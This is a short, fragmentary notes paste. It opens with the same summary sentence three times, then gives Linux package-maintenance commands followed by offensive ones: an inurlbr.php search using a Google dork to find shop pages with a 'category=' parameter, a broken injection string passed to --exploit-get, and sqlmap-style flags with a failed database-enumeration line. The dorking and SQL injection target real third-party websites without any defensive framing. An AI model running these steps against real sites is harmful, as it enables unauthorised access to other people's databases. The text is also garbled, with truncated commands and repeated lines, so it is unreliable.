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    The document provides commands to update software packages on a Linux system by removing a lock file, configuring packages, and updating package indexes. It also includes commands for searching websites using a PHP vulnerability and retrieving database names through SQL injection with options to disable output casting and increase threads.

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    The document provides commands to update software packages on a Linux system by removing a lock file, configuring packages, and updating package indexes. It also includes commands for searching websites using a PHP vulnerability and retrieving database names through SQL injection with options to disable output casting and increase threads.

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    The document provides commands to update software packages on a Linux system by removing a lock file, configuring packages, and updating package indexes. It also includes commands for searching websites using a PHP vulnerability and retrieving database names through SQL injection with options to disable output casting and increase threads.

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    sudo rm /var/lib/dpkg/lock

    sudo dpkg --configure -a


    apt-get update

    php inurlbr.php --dork 'inurl:buy.php?category=' -s save.txt -q 1,6 -t 1 --exploit-


    get "?''%270*27;"
    unable to retrieve database names
    --no-cast --threads=10

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